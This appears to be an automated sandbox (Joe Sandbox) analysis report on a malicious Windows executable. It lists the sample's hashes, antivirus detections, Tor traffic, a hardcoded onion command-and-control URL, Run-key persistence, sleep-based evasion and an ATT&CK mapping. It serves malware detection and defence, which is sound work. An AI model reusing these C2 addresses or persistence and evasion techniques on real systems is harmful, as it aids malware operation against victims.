Edit tour

Windows Analysis Report
SPXp2YHDFz.exe

Overview

General Information

Sample Name:	SPXp2YHDFz.exe
Analysis ID:	728981
MD5:	93cfe55bf738e084cd73bc7bf27aaaa8
SHA1:	277abda1d07f4f390d9dadce80be3c06b511a8e9
SHA256:	3edd12728fa881d1ab3193b7130f313dffe41a35ef5fb33df77331b96b594d6c
Tags:	185-25-51-202exe
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Found Tor onion address

Machine Learning detection for sample

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

SPXp2YHDFz.exe (PID: 5820 cmdline: C:\Users\user\Desktop\SPXp2YHDFz.exe MD5: 93CFE55BF738E084CD73BC7BF27AAAA8)

conhost.exe (PID: 5796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

SPXp2YHDFz.exe (PID: 6080 cmdline: "C:\Users\user\Desktop\SPXp2YHDFz.exe" MD5: 93CFE55BF738E084CD73BC7BF27AAAA8)

conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

SPXp2YHDFz.exe (PID: 1672 cmdline: "C:\Users\user\Desktop\SPXp2YHDFz.exe" MD5: 93CFE55BF738E084CD73BC7BF27AAAA8)

conhost.exe (PID: 4220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SPXp2YHDFz.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: SPXp2YHDFz.exe	ReversingLabs: Detection: 84%
Source: SPXp2YHDFz.exe	Virustotal: Detection: 67%	Perma Link
Source: SPXp2YHDFz.exe	Metadefender: Detection: 48%	Perma Link

Antivirus detection for URL or domain

Source: http://86.59.21.38/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware
Source: http://193.23.244.244/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware
Source: https://171.25.193.9/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware
Source: http://131.188.40.189/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: https://171.25.193.9/tor/status-vote/current/consensus	Virustotal: Detection: 9%			Perma Link
Source: http://86.59.21.38/tor/status-vote/current/consensus	Virustotal: Detection: 8%			Perma Link

Machine Learning detection for sample

Source: SPXp2YHDFz.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA1024 GetEnvironmentVariableA,LoadLibraryA,CryptAcquireContextA,CryptAcquireContextA,atexit,	0_2_00007FF79BAA1024
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA8738 CryptGenRandom,free,free,free,free,CryptGenRandom,inet_ntoa,inet_ntoa,	0_2_00007FF79BAA8738
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA272C GetEnvironmentVariableA,LoadLibraryA,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,BCryptOpenAlgorithmProvider,	0_2_00007FF79BAA272C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA64C0 CryptHashData,free,CryptDestroyHash,free,free,CryptHashData,free,CryptDestroyHash,free,free,	0_2_00007FF79BAA64C0
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAB2CC4 CryptReleaseContext,CryptReleaseContext,	0_2_00007FF79BAB2CC4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAB2D08 BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,BCryptCloseAlgorithmProvider,	0_2_00007FF79BAB2D08
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA74EC CryptDestroyKey,	0_2_00007FF79BAA74EC
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA7CD8 memset,CryptSetKeyParam,	0_2_00007FF79BAA7CD8
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA24D8 CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00007FF79BAA24D8
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAABCD8 memmove,CryptEncrypt,	0_2_00007FF79BAABCD8
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA6C44 CryptHashData,CryptDestroyHash,	0_2_00007FF79BAA6C44
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAAC444 CryptDestroyKey,	0_2_00007FF79BAAC444
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA7C94 CryptDuplicateHash,	0_2_00007FF79BAA7C94
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA23AC CryptBinaryToStringA,CryptBinaryToStringA,	0_2_00007FF79BAA23AC
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAABC04 CryptDecodeObject,CryptImportKey,	0_2_00007FF79BAABC04
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA73F0 CryptDestroyHash,CryptDestroyHash,CryptDestroyKey,CryptDestroyKey,free,	0_2_00007FF79BAA73F0
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAACAD4 memmove,memmove,memmove,CryptImportKey,CryptDestroyKey,	0_2_00007FF79BAACAD4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAABAFC CryptDestroyKey,	0_2_00007FF79BAABAFC
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA79FC CryptHashData,CryptDuplicateHash,CryptDestroyHash,free,memmove,free,free,	0_2_00007FF79BAA79FC
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA4934 CryptDestroyKey,	0_2_00007FF79BAA4934
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA7128 CryptCreateHash,	0_2_00007FF79BAA7128
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA4990 CryptDestroyKey,free,	0_2_00007FF79BAA4990
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA7188 CryptGetHashParam,	0_2_00007FF79BAA7188
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA496C CryptDestroyKey,	0_2_00007FF79BAA496C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA715C CryptDestroyHash,	0_2_00007FF79BAA715C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA8100 CryptDestroyKey,free,	0_2_00007FF79BAA8100
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAAE7D0 free,free,free,CryptGenRandom,free,free,	0_2_00007FF79BAAE7D0
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAAB808 CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,free,free,free,free,free,	0_2_00007FF79BAAB808
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAABFE4 CryptDestroyKey,CryptDestroyKey,	0_2_00007FF79BAABFE4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA776C CryptHashData,CryptHashData,CryptDestroyKey,CryptDestroyKey,	0_2_00007FF79BAA776C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAAC700 memset,CryptExportKey,	0_2_00007FF79BAAC700
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA8EE0 free,free,free,memcmp,free,free,CryptGenRandom,	0_2_00007FF79BAA8EE0
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA7EE4 memmove,CryptImportKey,	0_2_00007FF79BAA7EE4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA25A4 CryptGenRandom,	0_2_00007FF79BAA25A4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA752C CryptDestroyKey,	0_2_00007FF79BAA752C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA7D74 memmove,memmove,CryptEncrypt,	0_2_00007FF79BAA7D74
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA756C CryptDestroyKey,	0_2_00007FF79BAA756C

Source: unknown

HTTPS traffic detected: 167.86.119.184:443 -> 192.168.2.3:49718 version: TLS 1.2

Source: SPXp2YHDFz.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Networking

Found Tor onion address

Source: SPXp2YHDFz.exe	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt
Source: SPXp2YHDFz.exe, 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt
Source: SPXp2YHDFz.exe, 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt%s
Source: SPXp2YHDFz.exe, 00000000.00000000.247570118.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt
Source: SPXp2YHDFz.exe, 00000000.00000000.247570118.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt%s

Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 171.25.193.9User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 171.25.193.9User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/9265c51d2769e253c47ba554675270a0fe7b2771 HTTP/1.0Host: 185.216.179.206User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/fce0c05f7e2d0b825fa0fd2a37ba5bae3c3d6e13 HTTP/1.0Host: 199.249.230.182User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0e69aa0e00ab9e5bbf052c864682229b0b1f16ad HTTP/1.0Host: 199.249.230.174User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/fb3a8fe9feca7935b3b707eb9990daa2e8d609cb HTTP/1.0Host: 2.56.98.134User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0Host: 37.157.197.143User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:

Source: global traffic	TCP traffic: 192.168.2.3:49714 -> 185.125.168.42:8443
Source: global traffic	TCP traffic: 192.168.2.3:49720 -> 185.220.101.187:11187

Source: Joe Sandbox View

JA3 fingerprint: c12f54a3f91dc7bafd92cb59fe009a35

Source: Joe Sandbox View	IP Address: 171.25.193.9 171.25.193.9
Source: Joe Sandbox View	IP Address: 171.25.193.9 171.25.193.9

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 154.35.175.225
Source: unknown	TCP traffic detected without corresponding DNS query: 154.35.175.225
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 154.35.175.225
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 199.254.238.52
Source: unknown	TCP traffic detected without corresponding DNS query: 199.254.238.52
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 199.254.238.52
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 194.109.206.212
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 82.94.251.203
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244

Source: SPXp2YHDFz.exe, SPXp2YHDFz.exe, 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000000.247570118.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt
Source: SPXp2YHDFz.exe, 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000000.247570118.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://pm2pavba27wr4m34.onion/command.txt%s

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Code function: 0_2_00007FF79BAA4314 recv,WSAGetLastError,

0_2_00007FF79BAA4314

Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 171.25.193.9User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 171.25.193.9User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/9265c51d2769e253c47ba554675270a0fe7b2771 HTTP/1.0Host: 185.216.179.206User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/fce0c05f7e2d0b825fa0fd2a37ba5bae3c3d6e13 HTTP/1.0Host: 199.249.230.182User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 86.59.21.38User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0e69aa0e00ab9e5bbf052c864682229b0b1f16ad HTTP/1.0Host: 199.249.230.174User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/fb3a8fe9feca7935b3b707eb9990daa2e8d609cb HTTP/1.0Host: 2.56.98.134User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0Host: 37.157.197.143User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0Data Raw: 00 Data Ascii:

Source: unknown

HTTPS traffic detected: 167.86.119.184:443 -> 192.168.2.3:49718 version: TLS 1.2

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAABC04 CryptDecodeObject,CryptImportKey,	0_2_00007FF79BAABC04
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAACAD4 memmove,memmove,memmove,CryptImportKey,CryptDestroyKey,	0_2_00007FF79BAACAD4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA7EE4 memmove,CryptImportKey,	0_2_00007FF79BAA7EE4

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA272C	0_2_00007FF79BAA272C
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA2A90	0_2_00007FF79BAA2A90
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAA56B4	0_2_00007FF79BAA56B4
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Code function: 0_2_00007FF79BAAA54C	0_2_00007FF79BAAA54C

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Code function: String function: 00007FF79BAA1720 appears 100 times

Source: SPXp2YHDFz.exe	ReversingLabs: Detection: 84%
Source: SPXp2YHDFz.exe	Virustotal: Detection: 67%
Source: SPXp2YHDFz.exe	Metadefender: Detection: 48%

Source: SPXp2YHDFz.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SPXp2YHDFz.exe C:\Users\user\Desktop\SPXp2YHDFz.exe
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\SPXp2YHDFz.exe "C:\Users\user\Desktop\SPXp2YHDFz.exe"
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\SPXp2YHDFz.exe "C:\Users\user\Desktop\SPXp2YHDFz.exe"
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4220:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6072:120:WilError_01

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

File created: C:\Users\user\Desktop\cached-consensus

Jump to behavior

Source: classification engine

Classification label: mal80.evad.winEXE@6/0@0/16

Source: SPXp2YHDFz.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SPXp2YHDFz.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SPXp2YHDFz.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run qzxpgltqny			Jump to behavior
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run qzxpgltqny			Jump to behavior

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe TID: 5804	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe TID: 6084	Thread sleep time: -180000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\Desktop\SPXp2YHDFz.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: SPXp2YHDFz.exe, 00000000.00000002.512654259.0000024916778000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\SPXp2YHDFz.exe

Code function: 0_2_00007FF79BAA1720 GetCurrentThreadId,GetLocalTime,_cwprintf_s_l,

0_2_00007FF79BAA1720

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	22 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	12 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	1 Proxy	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
